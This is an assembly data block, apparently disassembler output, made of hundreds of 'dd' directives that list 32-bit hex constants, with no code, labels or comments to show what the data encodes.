		dd 74CAA000h, 27E3A14Fh, 0C79D14CEh, 0B510A839h, 517D0AD6h
		dd 40ACB43Fh, 9A373ADEh, 40055E9Dh, 0B9676435h,	0ED0083DAh
		dd 7D03F5BEh, 0A7681FE0h, 6050E4B4h, 0F851DBh, 6FEEF558h
		dd 0BBB90CA8h, 7EB75714h, 8D924A4h, 8465Eh, 0DFB619F4h
		dd 50720A99h, 0B8BC88F2h, 38F64CE4h, 0C637ED0Bh, 0C17D6CA0h
		dd 0D0900823h, 60D6B958h, 0C3ACDAF0h, 13310055h, 0BAAF49D5h
		dd 83EC99CEh, 482BE609h, 77B848F3h, 6D902CAh, 9D1F249Bh
		dd 0FB714851h, 0EB0FFA18h, 80EA0354h, 71BA86B4h, 838F20C0h
		dd 0B620E175h, 6CC01A9h, 7091F521h, 0FC51D4CAh,	0AAFFA800h
		dd 7F965A53h, 18D2461h,	659709C0h, 60454490h, 0F8A2A520h
		dd 0B97E095Eh, 980510DBh, 0BC88C8C4h, 0ED7871EDh, 410E0087h
		dd 73A11467h, 2E0CA00Fh, 0DA58CDBAh, 26907963h,	0AE85C09Bh
		dd 2C8092D5h, 82D86EC9h, 0D01E60DBh, 6E07048h, 0AE708617h
		dd 4EF68404h, 7E81014Bh, 746D10A2h, 943C5800h, 5B40E3D7h
		dd 55028CA8h, 68E86315h, 2216C23Ah, 0B0009EC1h,	92BAC778h
		dd 1479271Dh, 0E6084880h, 5F53952Ch, 0F5698420h, 0B8656B62h
		dd 0E760C9E4h, 3728784Bh, 7A0090A3h, 60E02A99h,	4811C8B2h
		dd 2F4AC0C6h, 8C701088h, 3A1937C1h, 8218C003h, 0A9DEAD02h
		dd 91E471B2h, 902CD6B4h, 78825C3Ch, 2B0F2317h, 0A0838082h
		dd 81FE4040h, 1800594Bh, 0AA438C4Bh, 34414A25h,	4534C378h
		dd 0C02B33FCh, 43585411h, 50E022E5h, 7DAD8C90h,	143F189Bh
		dd 673639CFh, 59633D30h, 0B02C03h, 317D2541h, 947C5AA1h
		dd 0ED58BCB8h, 0CD098024h, 4657A53h, 0DEECF3C8h, 90449386h
		dd 0A9AB51EBh, 4232B401h, 2D7FB816h, 3826D7D9h,	0A34E010Ah
		dd 53690A40h, 7AA007E4h, 4AE88C91h, 875B1C00h, 70E9437h
		dd 9F9800A1h, 0BA689EBBh, 0EE00997Dh, 6F7041F0h, 19D67CC3h
		dd 116E31FFh, 0B0044E6Dh, 0C063B168h, 18A0ED10h, 470F162Ch
		dd 402A503Ah, 35CF30DBh, 65130071h, 75EF10F8h, 0F10041CCh
		dd 7AE1CD15h, 0E4F77Dh,	86AEF656h, 0EAB61290h, 5BA59D00h
		dd 6ABCADC9h, 0F6B00Ch,	6CF72B8Ah, 0DD969920h, 7803337Fh
		dd 28DF3A75h, 6380D087h, 586800D2h, 0DCB34FAFh,	6F018E4Eh
		dd 55B18617h, 0CFE87224h, 0FAA10EF0h, 0B6A041E6h, 48D0C6D1h
		dd 92100301h, 0B7285283h, 1FE290F8h, 0C020C00Ch, 0B591EEC6h
		dd 0A300BDA6h, 0A47C723Eh, 1DB13175h, 80E88966h, 0A2FF0BC8h
		dd 1E075E67h, 94546C29h, 97581920h, 0B7B4009Bh,	0FDE1629Ch
		dd 7D77FFD0h, 4C501CF8h, 0D96065A0h, 36A4C5C0h,	0CAE00049h
		dd 1AE90939h, 753DEBB3h, 0B57280D3h, 0ACF98AFh,	92D7EB6h
		dd 0CCD8B9BAh, 0C3C1280h, 4900C15Ch, 12DFE53Ah,	25874Fh
		dd 4C0DA119h, 62ADBA4Ah, 0DD76E0A8h, 0FC0F6500h, 5130596Bh
		dd 0D87900C4h, 0FDF86784h, 291EFBA4h, 4600C5DDh, 0BD4F109Ch
		dd 0D73D008Fh, 0F41AD41Bh, 0B7006392h, 5020467h, 1E03625h
		dd 5CBECC3Ah, 705D11BCh, 6B002F2Fh, 558C324h, 72B356h
		dd 4F94D4CEh, 4C91DB90h, 96D0F850h, 46619300h, 8571491Dh
		dd 7BFA0E89h, 0CAF4EC3h, 920DD581h, 0B880F6D0h,	0B1E24F76h
		dd 7E53FB00h, 0D62550C5h, 47970779h, 0C0646224h, 708428DAh
		dd 7E68C206h, 0F2A15C91h, 881300EEh, 0B2D62E61h, 5450860Ah
		dd 9701148Ch, 7535497Fh, 0B3C07938h, 0F96309A7h, 5400E743h
		dd 1927CC46h, 0C2722C00h, 7B62773Dh, 0EF843E2Bh, 0C7D54A80h
		dd 5ACFF6BCh, 5166DF01h, 384CB7FEh, 12271DE8h, 53B357h
		dd 0C9CED9F4h, 2A00213Dh, 75B8FD71h, 3BEE95Ch, 0CDFE03FAh
		dd 9E9891F3h, 0EC0EF2E0h, 0A0581817h, 7975E4F5h, 1A260FDBh
		dd 520B7D0h, 0D60856ADh, 0DF67B612h, 4EFD2807h,	14576150h
		dd 0FFF712C9h, 0C1DC1C71h, 60D6F2C3h, 0B7A8E017h, 0A1BD5A00h
		dd 0F67CB445h, 8CF70082h, 0DD711A4Fh, 2DFCA77Fh, 5659D000h
		dd 230D2721h, 50E69Fh, 4A81AE9Eh, 0D29BEEBBh, 1D10BC48h
		dd 584028DCh, 0B49AC693h, 186C4DC4h, 2E9FA01h, 40ACF019h
		dd 9CA8D2B0h, 389F4230h, 203003h, 0D5525DF3h, 29AEB94Fh
		dd 65A75100h, 3F26BEECh, 17570095h, 0B06E2D14h,	6600374Ch
		dd 70E0C224h, 0F869F05h, 0E16FF599h, 742E15E0h,	251239AFh
		dd 9300FE0Fh, 0D91E8B2h, 79100038h, 0F056DEA2h,	9C01FA81h
		dd 7D2B9FD0h, 85C0CB03h, 0DC962E3Dh, 0C0D11C2Dh, 0A2BC1BA6h
		dd 8A0446E5h, 42915D03h, 0CDC5A080h, 0BA30013h,	603D3BBBh
		dd 8E0E7F36h, 20DA1AE7h, 650CA72Dh, 18B1091Eh, 0C00F59FAh
		dd 0B50F2960h, 40173C5Bh, 27004C96h, 98336CF8h,	25C20078h
		dd 0DFEEB034h, 0E900D6CCh, 8E586192h, 0EB98E2h,	2E683590h
		dd 0C24B523Eh, 32078600h, 879BBFF5h, 0BC7720h, 37C3066h
		dd 1F5A83E5h, 0B8908A3Fh, 2A5B1EC8h, 8232B0C0h,	0A5D2D7h
		dd 4E446B4h, 8F47FDD3h,	81D0CBA0h, 0ED5CEC0Ah, 0AD0F8C09h
		dd 0A6B260B4h, 13A73BABh, 4017B3BFh, 2833F428h,	0DB005AF8h
		dd 4C3AE193h, 185B0A50h, 10E01312h, 0C13F59ECh,	951480CAh
		dd 0E469D772h, 2046004Dh, 9151D93Fh, 611ECE49h,	72C958B2h
		dd 12D80059h, 49E3A1C0h, 0DD1C249Dh, 5A8E4086h,	0C1C49813h
		dd 4A042090h, 0B2CD45E3h, 26844490h, 1AAD0ABDh,	0B0E0B4h
		dd 0D81BCA8Ah, 0B900DE34h, 9D94320h, 3FDBB21h, 0EABC84B7h
		dd 0C4B8AF8Dh, 0E1013678h, 10BE826Bh, 0DA40C0F8h, 3B91177h
		dd 26B0A0B3h, 2BC874EFh, 0D50007BBh, 109DFEFFh,	0F63328CCh
		dd 0CD390A6h, 630934C2h, 6D00AB29h, 0D3DE8524h,	1E29B99h
		dd 82A7CF1Eh, 0E836277Ch, 0FBB8BD43h, 4C93C400h, 3DA4221Ah
		dd 0E9F609h, 9A248625h,	1BB8FFECh, 11DFBF00h, 0BC468FF2h
		dd 0CACB1F40h, 9CB58030h, 4CD042C5h, 0E72BA70Fh, 24356065h
		dd 4FD98C8h, 1BD11E56h,	0CA4C8042h, 0C9000B94h,	0C2F176FCh
		dd 9B216Ch, 23BB4364h, 0A79CD0F2h, 808B1839h, 5B9CD11h
		dd 0ADBECh, 20E8D3C1h, 221FE77Eh, 0B100CB98h, 0EF306C5Dh
		dd 80B7FCh, 7B61D4EDh, 376DC1A8h, 64794B02h, 0E4432D4Ah
		dd 5E870150h, 0A4EA07E2h, 287FCBF7h, 0E9C90E00h, 38CA2B45h
		dd 6878008Bh, 3D2E6350h, 46006088h, 0EE79E6B2h,	2932Dh
		dd 0FB2F535Bh, 4BCE971h, 0EF0E4C90h, 815F86F8h,	7445D809h
		dd 49F76074h, 0F878C4C1h, 6B540E58h, 388E414Eh,	15F7469Dh
		dd 240021A7h, 851C7466h, 0ADBC82h, 4DC79159h, 0A8E5D0B0h
		dd 80DBE03Fh, 0C89338C9h, 1675DDBAh, 78768E6h, 6AD663FBh
		dd 20EF0F3Ch, 9AA70580h, 0B830850Dh, 0A0C050AEh, 0B7F02E78h
		dd 0E27084A8h, 8ED8D718h, 0CC436CC1h, 0D2CB4716h, 1481B4ECh
		dd 2072A8BAh, 2B009683h, 0D9ED28E8h, 0ACDD04h, 0A4E66D6Fh
		dd 0F8B9C14Dh, 1507CC00h, 52D3CF2Ch, 86E71EC9h,	34AD0022h
		dd 4BAF79BAh, 95E14Ch, 1F095081h, 9C8FB2h, 2371486h, 0C29D0894h
		dd 636478C0h, 54B56A0h,	0A169330Fh, 0D6984057h,	488A146Bh
		dd 9BB98200h, 87ADF07Bh, 91D0C0F9h, 49B0CAA7h, 6215F839h
		dd 0E4ED1AE0h, 2892074Ch, 0A7F00B8Ah, 96D1D09Bh, 27F6D8D3h
		dd 0AE0AC30Fh, 298EC018h, 0CBA97A7h, 0F7DA3C47h, 0C53C79C8h
		dd 7DDB3C62h, 0D06D1F00h, 0E286E376h, 5464E814h, 352C46Bh
		dd 0FF4162BFh, 0B97C3C54h, 0A817D003h, 26E65B6h, 58DEB429h
		dd 71E0C20Ch
		dd 0E5F5D073h, 3C64D89Ah, 582420E1h, 4907F18Bh,	0C08A39A0h
		dd 533F1CD1h, 0FB1DA590h, 64C0D0BCh, 0D3B92330h, 30A2E44Eh
		dd 72816BEDh, 8B39A624h, 0D088017h, 0A8FEB9E3h,	0D819000Eh
		dd 26B6A7EBh, 0E5301DF5h, 80546155h, 480F002Fh,	4A992AC0h
		dd 0CB0052B9h, 0F61E9B81h, 3ED3B4h, 0D8EB8E79h,	6C8D6A2Eh
		dd 0B308CA00h, 0CD92098Ch, 0A5FE61h, 9716125Dh,	0E1BC48EEh
		dd 0DD91500h, 11B93157h, 64FE81h, 4B22FF8h, 0E3B5EFABh
		dd 31655400h, 37E60E0Ch, 0E1B30058h, 15C72532h,	20C46F5Eh
		dd 595B2AD9h, 878E0BBh,	0CCC4BF3Ch, 0AED71D95h,	2078B03h
		dd 1880046h, 0BE67AA3Bh, 8501DA09h, 0A64842A0h,	208113E9h
		dd 3782B35Ah, 0C459A0E4h, 39DA9C00h, 3F0FFC4Ah,	0C808C1F2h
		dd 30BC4BADh, 0B2E609E1h, 7C125900h, 0F9A34D1h,	67550078h
		dd 41AFBDECh, 10FE2B3h,	0BE0D86h, 497F360h, 0A45C00B7h
		dd 806C6BAh, 3700FF94h,	42CBAC5Ah, 1DD773DCh, 80E16734h
		dd 0D64056CDh, 0BD00234Eh, 0E7296069h, 38C34484h, 0FE0E670Fh
		dd 0E02ED5B3h, 6B3EF687h, 9CB05A00h, 1500934Dh,	7EF8042Ah
		dd 3AC5D34h, 134755D4h,	0C2C0FD20h, 0F1005AC0h,	0CFE11EFCh
		dd 6A3D10h, 0AFBFB09Ch,	5C891B85h, 8F933939h, 2038C231h
		dd 0C659613Ch, 0FAEA0EDDh, 7C55706h, 0A52680E4h, 0FE0011DEh
		dd 215F03A7h, 1BAA46h, 1F3DBDDAh, 0E522CFCEh, 80958C00h
		dd 6061A993h, 4830026h,	0E4F34662h, 90036623h, 0B1FBA0AFh
		dd 673380A8h, 565A04CDh, 80C83B0Ch, 44411148h, 0D690B500h
		dd 18480A73h, 38690081h, 9761C216h, 9B003019h, 0B97C4ECEh
		dd 0A72CC6h, 0A8CA555h,	9F59D72Fh, 294B6100h, 213D6D79h
		dd 0E33100F8h, 78CF9081h, 5300CE59h, 0B4A975B0h, 3F0577E2h
		dd 0C41C4D96h, 0F6F50039h, 60E9C124h, 0BD00BB90h, 0D9F45F91h
		dd 8FA8B0h, 0CA580608h,	0C38C605Bh, 76799D12h, 0EF341C00h
		dd 0D7FEFDh, 0E0650F10h, 69521319h, 90835B00h, 0EF443772h
		dd 0F8BF07FFh, 40CF34BBh, 91ABF617h, 6A00D3FAh,	0A12914ADh
		dd 0DB03A8h, 0AF09F780h, 0B27BC1C3h, 5860DF00h,	997A1F2Bh
		dd 6AF3003Bh, 0F12057E3h, 4E00B223h, 0AEE4D363h, 290E4Ch
		dd 122885F2h, 508873D5h, 7601267Fh, 67A27564h, 0AE8BC2F7h
		dd 0C100D097h, 0D9DA77B1h, 0B0BC0600h, 3E89992Dh, 13850068h
		dd 0E2B83FAFh, 0C103A3EDh, 542D6DC4h, 401D9879h, 0C7DB018Bh
		dd 0AE45772Fh, 0E2FC2094h, 0BA3FE41Dh, 0DD663340h, 0A21C11h
		dd 0FBBECB6Dh, 54DEAB0Ch, 6403A600h, 25D80A19h,	8EF20126h
		dd 7D83AC66h, 29C33052h, 210568E6h, 23EBD6D4h, 0F719BB80h
		dd 0E9F50098h, 0C1D80BC8h, 6100FFF4h, 0C0DCF620h, 7C30B5h
		dd 7D847252h, 321F3BACh, 65353D00h, 3ABD7F1Dh, 6A9800C4h
		dd 20B63C1Ah, 0AD008496h, 520BE054h, 0E2F9056h,	8687AE48h
		dd 0B1F77CE0h, 8200BE83h, 0CC97A2C6h, 5BD5C5F4h, 27BA008Dh
		dd 5DF8BDCh, 0F00107Fh,	0D936763Bh, 3349682h, 0A90D170Ah
		dd 8F83F77Bh, 41F663B0h, 1B81320Eh, 7419209Dh, 17D0D17Fh
		dd 1C28E2DEh, 1129C797h, 81F2F57Dh, 0F0C97C7Ch,	17006C9Ah
		dd 0B7874E32h, 51535Ah,	1EAC4AB5h, 0D9E572C1h, 66051400h
		dd 0D87DA4B2h, 757C0082h, 6C6B2E95h, 0FFF5E16Fh, 0FD241907h
		dd 0F492223Fh, 0F2B44057h, 197900BCh, 0E43E5533h, 3100FFEEh
		dd 7EB553D5h, 0C60A7h, 2205E37Ah, 0D098CA5Ah, 0C7F62428h
		dd 45B5A607h, 11A19267h, 57F0E444h, 1C9A4CC0h, 470D2900h
		dd 939E5C79h, 5C4AE124h, 6872C00h, 0E486C1Eh, 0DF8F90Eh
		dd 0BACC6A23h, 312708B8h, 88A4FC24h, 13F78300h,	0A51615h
		dd 9E2BB04h, 0B1E58C4h,	9E4B9A00h, 5938825Ch, 78CD7BDEh
		dd 1317003Dh, 0B6A63096h, 40C0F6DBh, 0D9A528E3h, 0C5010083h
		dd 27214BEEh, 3F0089CEh, 0AF965CBCh, 0C65042h, 5EE76C1Ah
		dd 0CB36131Ch, 1292223Bh, 0B1007430h, 33FAC043h, 0AF11E04h
		dd 58F64C2Eh, 4FF2DC11h, 7BB093EEh, 2C3D563Eh, 0D100147Ah
		dd 7D416D7Bh, 8360087h,	6FC7207Fh, 0A70097DAh, 9091EF5Dh
		dd 68D20Ch, 9C7CCE50h, 0C5D0D4A9h, 435EF400h, 9D923807h
		dd 0BA881F09h, 0CA70C0AEh, 75C6DCDAh, 0B681F800h, 51F34CEFh
		dd 6D8500E7h, 221D9EA8h, 0AF0F5694h, 400CD76Ch,	0B86953BEh
		dd 5E5F0F41h, 86026430h, 0D88099ADh, 6C4F48DBh,	0D89E99C0h
		dd 7493C1DEh, 2A9C141Eh, 7E07EC08h, 40F1F8DBh, 6BFA1A84h
		dd 0DCC231DDh, 68BBC99h, 220108EFh, 98F2BF12h, 1BF063C0h
		dd 8630A069h, 643CA093h, 5B8300C9h, 763C8E7h, 0F760FACCh
		dd 64160629h, 0F67C01A8h, 0BEA3D7F8h, 0E838819Ch, 5A28C8F3h
		dd 30073CDCh, 0D76997DBh, 6D28E2EAh, 28000CA4h,	617FBE42h
		dd 840683h, 0D2229629h,	0CB93E00Bh, 0D492B703h,	0FBBDB65h
		dd 0E742A8B0h, 69E1A060h, 0E5003A71h, 0BEDF0681h, 1C979Bh
		dd 0D22C9D40h, 4F2430E7h, 31604A00h, 8D203EDCh,	64A30044h
		dd 84451DE1h, 6701D2F8h, 2E7F3994h, 0C5C8DEBAh,	62E23Fh
		dd 0D5E5E00Eh, 4FB634D9h, 89854812h, 0BC6A8040h, 3D7EADh
		dd 9650D6DDh, 19FF0AD5h, 7945C42Ch, 0C0AA5401h,	0E98041A2h
		dd 470E7B4Ch, 0C7E0AFBCh, 20779200h, 6D49E3ABh,	1037D58h
		dd 0D490704Ch, 983AEEF7h, 0A336E239h, 0B59B5C6Dh, 0A719C333h
		dd 0E849F0FAh, 0FAD0F878h, 3BC63A00h, 7DC8C5A3h, 0E0B900F9h
		dd 0D4AA4894h, 0FC01A2F8h, 2BE6F338h, 39E4050Ch, 66F4A89Dh
		dd 0AB855C2Ah, 0FA34870Fh, 0CEF52860h, 9205FE8Dh, 0AFC13B22h
		dd 673064C7h, 6E69022Ah, 0AE80903Dh, 4998BE73h,	9B62ADE8h
		dd 4005F108h, 2FB3CD2h,	32D68BDh, 104AF3DEh, 0AAA78Ah
		dd 432752AEh, 673F2B4Fh, 483A7F62h, 94C500F8h, 881C0725h
		dd 0F1B41F2Dh, 9B380C03h, 55143CB1h, 7D84E0E9h,	4A663507h
		dd 96A78186h, 0E8B41FB3h, 7AFF578Bh, 94C55454h,	0E06E5493h
		dd 7FF500A1h, 0EC61C9Eh, 8902BA4Eh, 4FE583F1h, 2870486Dh
		dd 6F17001Eh, 6CD1BF58h, 780089C7h, 77D01E6h, 0EF7B9Dh
		dd 0B08606DBh, 0E5DE408Eh, 7F61E1C0h, 8FE69h, 33D8D104h
		dd 8CB0F339h, 3E2BF402h, 0A86CB5D5h, 4C3ED9E4h,	23D60077h
		dd 67268735h, 600C24B7h, 28CC2604h, 88540C04h, 7F08ADB4h
		dd 0DB2A1A2Eh, 6375730Eh, 3E840Dh, 0C269DF51h, 45238A9h
		dd 510CA350h, 0B258CD05h, 8207E493h, 48D2A5F3h,	0E70441E2h
		dd 0FB358C50h, 0CAA7698h, 0FF92B6C1h, 4500C719h, 5DD9B102h
		dd 24B34897h, 4040DF5Bh, 7D5ACEBAh, 0F46FFD00h,	0CCCF9FAAh
		dd 0BF870191h, 0C4CA5920h, 5DAC481Ch, 0A510F600h, 60A6B067h
		dd 149600F1h, 988CB41Ch, 700F781h, 0D5250971h, 7B933068h
		dd 0F83600D1h, 4996A8EFh, 0E40129E3h, 724A3828h, 0F048097Bh
		dd 0A3298887h, 0BAC94D03h, 0C8143299h, 30ED90h,	0BBCC9CEAh
		dd 3EF98CDAh, 72002891h, 64A47C06h, 3FF8291Bh, 0EB428088h
		dd 44C1389Dh, 70084E6h,	651B2F7Ch, 3B5343Ah, 0B6011FAAh
		dd 8E0C92AFh, 30FCCFADh, 1C3404CCh, 84172A20h, 0D51CC000h
		dd 84A8FB4Ah, 0C401E919h, 0D9A0618Ch, 87F0516Dh, 384F002Ch
		dd 34990AB8h, 0F9038E66h, 79A4ACEFh, 0FDD98180h, 30114184h
		dd 0D4248984h, 0F300DD10h, 3927CB02h, 7F7F87D8h, 0A1860F16h
		dd 20326809h, 38C3AB50h, 7FADF900h, 3AEA75C9h, 59151C42h
		dd 0DE869EAEh, 4F6B8144h
		dd 48DEEE3Dh, 0BB1D76F4h, 0B4001172h, 0FCE08EB6h, 0BAD1056Ch
		dd 0A5CB5EEh, 47F44BA7h, 0A21EE087h, 0E10028D3h, 0C19EB772h
		dd 7C9F3EEDh, 5C220343h, 0ED87C6Dh, 0FA08611Ch,	0B6009B64h
		dd 0E07ED1DCh, 317100F8h, 0A97C6F54h, 0E8019C11h, 2A351C01h
		dd 0B09894C0h, 29341F5h, 3461DCA8h, 417F9800h, 91683DFAh
		dd 99696020h, 0E53122BDh, 6DBB2F02h, 4C60F896h,	6E880004h
		dd 36F0FA02h, 0F8243F7Ch, 3740083Eh, 10D724Dh, 719D1593h
		dd 32355524h, 1FB136Ch,	6480D034h, 1860814h, 3E21258Ch
		dd 482401FFh, 0B70079E0h, 9F37881Ah, 60DF2596h,	0E99449B8h
		dd 46007D0Dh, 0C3D6095Eh, 0C2313CA2h, 0D1111BF8h, 0C4A5E460h
		dd 0D80CBF00h, 674D2AA7h, 9AA8001Ah, 0ABE09786h, 2137C83h
		dd 94208059h, 0C1665F8h, 0A5307301h, 766020D1h,	2227891h
		dd 634D00D9h, 0E55A106h, 9A018ADEh, 6C65E7CEh, 7DED3D43h
		dd 0E76D2848h, 82A4E4C8h, 4EDE8600h, 7C009AC0h,	495E5DADh
		dd 91D42EA7h, 7E998024h, 2CAD5661h, 0B51F1307h,	0DB00451Eh
		dd 1C0520FEh, 2A4F8792h, 9AFC0FA4h, 9FC9730Ah, 34414C80h
		dd 0D35865B4h, 0B7C224CCh, 0E1F3BC06h, 56101AAh, 88555D74h
		dd 0D49083ECh, 90BD733h, 0CBC99F88h, 40409884h,	2FC1AC5Eh
		dd 0B8534F3Fh, 0A7ED011Ch, 0F7DEBD9Ah, 0D662B180h, 7108A64Fh
		dd 0AD4E0C00h, 46B6FE44h, 0DFCE15E0h, 2200DCECh, 61209986h
		dd 29013F32h, 0F691635Eh, 44EE5B72h, 667502FCh,	43E905D3h
		dd 0F6851360h, 4A83E100h, 2EF197E8h, 99F52C42h,	0ED480DA4h
		dd 0F991F808h, 76B47756h, 7224897Bh, 0F8421C82h, 5ACE480h
		dd 7EDD8609h, 0B930C0B4h, 854C7472h, 0EF018090h, 72526FEh
		dd 865E91CEh, 0DCBB23E1h, 0F82748D1h, 7722F86Fh, 2B66069Dh
		dd 416B8573h, 0EFA1A000h, 1999C178h, 0F7E60083h, 1FDB15Bh
		dd 0D31D3436h, 669C2CF0h, 25D46054h, 0C90660F3h, 5E500E1h
		dd 0A31C4938h, 95E24FCAh, 9186E200h, 677944A6h,	634E4872h
		dd 0F975B702h, 5446ACA7h, 331AB500h, 0C62BF840h, 7FC25CA9h
		dd 9576B000h, 734D9C12h, 49F05802h, 8E0514D5h, 5404FE80h
		dd 805FFD85h, 0B5E7FA7Bh, 9700CDA7h, 0BE635881h, 4C6DDEC1h
		dd 3E0FD84Ch, 0B4409164h, 2CFD1D4Fh, 7AAC0F01h,	0C584E92Fh
		dd 2366330h, 0B085F5F3h, 58480223h, 0F81FCE82h,	951568F4h
		dd 176000A0h, 0C4E8999Dh, 48880053h, 0F2F60C9Ah, 0D90F86EDh
		dd 364A7DDDh, 41BC04FFh, 0E02CC129h, 0C0740297h, 3FB8FD6h
		dd 225A91EFh, 80D5EA95h, 12051630h, 38EE1B71h, 0F80BD006h
		dd 0B0799A73h, 0D54F00D0h, 0D2354EADh, 4500BE37h, 1F3DEE6Dh
		dd 1F0BAC49h, 414CEF30h, 4F712B93h, 35B450FFh, 0AC0E423Ch
		dd 4B730341h, 15480067h, 0C3987701h, 0FA4BBB61h, 0F85E3105h
		dd 788022F7h, 15DD46Dh,	5CC1827Fh, 245683FAh, 9100F94Ch
		dd 900C6BBBh, 0F13C3AFh, 82EF2622h, 5138FAC0h, 3900F39Dh
		dd 722A3496h, 4ABC289Fh, 54A44264h, 7844E180h, 7C64664Dh
		dd 73ACF707h, 91BC4BABh, 596A0542h, 0C0717D8Ah,	11C901D8h
		dd 0C8BBF12h, 0EBCF110h, 604EF873h, 30CEC1F5h, 6EEF3102h
		dd 50EBDB41h, 9143D9A4h, 0AE857513h, 0E8A1100h,	0B8F7BD04h
		dd 27DC0188h, 49329172h, 0CF7C3038h, 0B73AB0B8h, 0D2BC8Ah
		dd 869DAD7Fh, 0D046B2h,	28F17366h, 0F79185D7h, 2156706h
		dd 917993F2h, 7831803Ch, 9CF665F1h, 790092ECh, 68E3C29h
		dd 6F7C5C21h, 3764689Bh, 85908C3Bh, 5D06547Eh, 0CFD26349h
		dd 1D6E7666h, 819D1C11h, 701BFAD6h, 7354E497h, 0F30F9090h
		dd 77FBC035h, 0B8B840Eh, 0C05412BEh, 0A855A378h, 6C40C0h
		dd 0ED203349h, 9F5CD14Eh, 96D62A07h, 1D6212FDh,	3DC9206Dh
		dd 8B1EBE7Eh, 0D4687836h, 0A255Ch, 0E954F4ECh, 3C13950h
		dd 596E42B0h, 5180B788h, 0D49192CEh, 93341C00h,	3BE64FCh
		dd 0D52D235Eh, 17C83A88h, 38034ABFh, 94FA2599h,	7289C8ADh
		dd 8177601Ch, 334B8F9Ch, 0E5FD4607h, 2D40CDFFh,	5C66379Bh
		dd 0B2193D3Dh, 0C1A0F094h, 0DBD524h, 58DF7CEh, 45AE2D38h
		dd 6FE809EDh, 4BAF8C18h, 0C4568A0Fh, 856700EAh,	1B90BFAh
		dd 9AF25A2Ah, 0C906A484h, 0FF906012h, 0EEF75F08h, 369701A8h
		dd 6338780Dh, 343808h, 58C3B0ACh, 91D5D9h, 7DAE4C2Ah, 67047287h
		dd 38A85A04h, 80B376F8h, 9CBE8208h, 7E331C80h, 0A28383Ah
		dd 6AA2D4ABh, 0DE80BED8h, 0F76E70E5h, 0A000DD02h, 0C1DC9BB3h
		dd 0FA280D1h, 3899D60Fh, 1B6D70Ah, 19BD11CAh, 9B180A9h
		dd 0FAC6AC85h, 696403CFh, 998D807Fh, 6BDE8FE0h,	4A5CFF00h
		dd 0C28655BBh, 48E31CDBh, 6798821Fh, 0C063730Dh, 2026599Bh
		dd 18BA68E7h, 46A1C484h, 15AA3F92h, 0F5C6B803h,	8A989809h
		dd 9B74A7C5h, 0C9870701h, 27A59FAh, 9C868C24h, 0E35C8CC4h
		dd 0E5004B82h, 20E5265h, 43AFCh, 946E209Bh, 0A0391EF3h
		dd 0D2713D60h, 2408B17h, 78463F75h, 2CB87D72h, 0AC0009B0h
		dd 0C808E01Bh, 163F4528h, 267260h, 73D11A6Eh, 0BF3A2C52h
		dd 0A7BD8965h, 0C1DC1854h, 9050315h, 6D0B2FA6h,	557FE6F8h
		dd 479EF502h, 603F7A80h, 0C0018538h, 8B730271h,	7F011D7Ch
		dd 83E909F0h, 69F8494Bh, 1AF72738h, 809808A4h, 0FDDC4AD8h
		dd 0EA034212h, 0AD866C90h, 1C487BF2h, 0F0D5FE63h, 0C11C4D19h
		dd 0FD609000h, 98105972h, 2955743Ah, 8C84EDh, 3E354F12h
		dd 0CD3DF861h, 0AD118679h, 70ECC7h, 0FCFF2E85h,	90B91E1Bh
		dd 0D7C647Eh, 9ECD0606h, 3C9E392h, 6B5F8D87h, 3801CEB5h
		dd 355AECC9h, 904C96BFh, 0FDD53C3Bh, 0D404E081h, 0DC1F72BCh
		dd 2D002189h, 66072C4Bh, 0B46DF836h, 671C8F44h,	1FD13B47h
		dd 9209F7CFh, 321F1041h, 0FE0007Ch, 0FDBC3352h,	3B8901E9h
		dd 174E2D4h, 0B314F4EBh, 0A98CDC31h, 0CD2033C1h, 944D0171h
		dd 0D1C605A0h, 7D88CC69h, 7C74CB04h, 0FEC24402h, 0C80C6A04h
		dd 0B0B6C12Ch, 1173C84h, 0E0909622h, 12290660h,	1339C26Eh
		dd 0C8E08B89h, 2900F328h, 23B30663h, 8AD101h, 1FAC55E4h
		dd 2E3DBD2Ch, 0A39FD325h, 0F8781BE8h, 2AF137h, 0A150C8Ch
		dd 0FA1908FBh, 9E566D00h, 4211D1CEh, 35E60070h,	0A75A38C1h
		dd 0C2587C59h, 0A20E0338h, 0FE20F0h, 0F7A0C981h, 1C6C5D4Ah
		dd 4BC810Bh, 0EC096Dh, 0F6C97E12h, 1C23F7FDh, 9203E23Eh
		dd 0A3A29167h, 8F669909h, 0DF938013h, 0F2DB66Fh, 469E338Bh
		dd 0A4D25F40h, 22E0729h, 0C408828h, 254B72E2h, 6020856Eh
		dd 274EF5Ah, 1EA1380Fh,	0C251AF63h, 243D840Dh, 7051C7DAh
		dd 0AB8FF543h, 924BC074h, 0FD52F040h, 2010E73h,	1EB613B4h
		dd 886C7A72h, 5B03FA76h, 92D9D595h, 0F33903E6h,	0E1F597F6h
		dd 4649EEA0h, 0C47D553Bh, 614A056Eh, 83C4B6CBh,	0ED58AE4h
		dd 690586BAh, 5964C241h, 0BD369320h, 34BA00F4h,	24668016h
		dd 8B001122h, 300C84A8h, 26EAF121h, 780678Ch, 0DB22F5C1h
		dd 0B00A6490h, 0C5246100h, 81A3602h, 731D00FBh,	0EAA78694h
		dd 7071122Bh, 6D008BF6h, 40C6C3A1h, 9CDF9695h, 52DC80E4h
		dd 0F7555BC4h, 86A47F00h, 0A1AFD9B4h, 2E9A1210h, 0A3CC23DFh
		dd 30878E90h, 8B49263Dh, 2D93A6h, 0E609B458h, 0D83B484Dh
		dd 0CC57F100h, 2555A11Ch, 28A94307h, 0F3F03C3Dh, 6D08E7h
		dd 20D747Dh, 66F7A569h,	8F8E14B1h, 0D6C1E756h, 788815C5h
		dd 0BDDE243Ah
		dd 70F280FCh, 0DA13431Fh, 33E70101h, 283AB209h,	48314FC1h
		dd 4A49900Ch, 1A42F0C9h, 135AB000h, 563CCC8h, 5CD8A4DEh
		dd 0D613B194h, 7E680BF4h, 0F3863011h, 9C94F900h, 0C3D311EAh
		dd 0A590D1h, 0D773C964h, 0BA60DBCh, 74B466FAh, 74063C40h
		dd 0E363006Fh, 0E7BA874Ch, 449960F8h, 2BC0182Dh, 437D5ABCh
		dd 0C2DD27D0h, 0F9E642B0h, 0EA653801h, 0C7066F3h, 4CA46720h
		dd 903F1C9Ch, 71E461FEh, 0C450748Fh, 0F55F2842h, 0DE1897B8h
		dd 2D59E1B9h, 0CBA9CD00h, 0E699E9D5h, 0DAE0061Eh, 896B84ECh
		dd 25A87507h, 0EE101849h, 4F96ED40h, 614462FAh,	5781CE6h
		dd 8E4AEF3Fh, 9636C986h, 3C2D00Fh, 0E509540Ch, 5CB278C5h
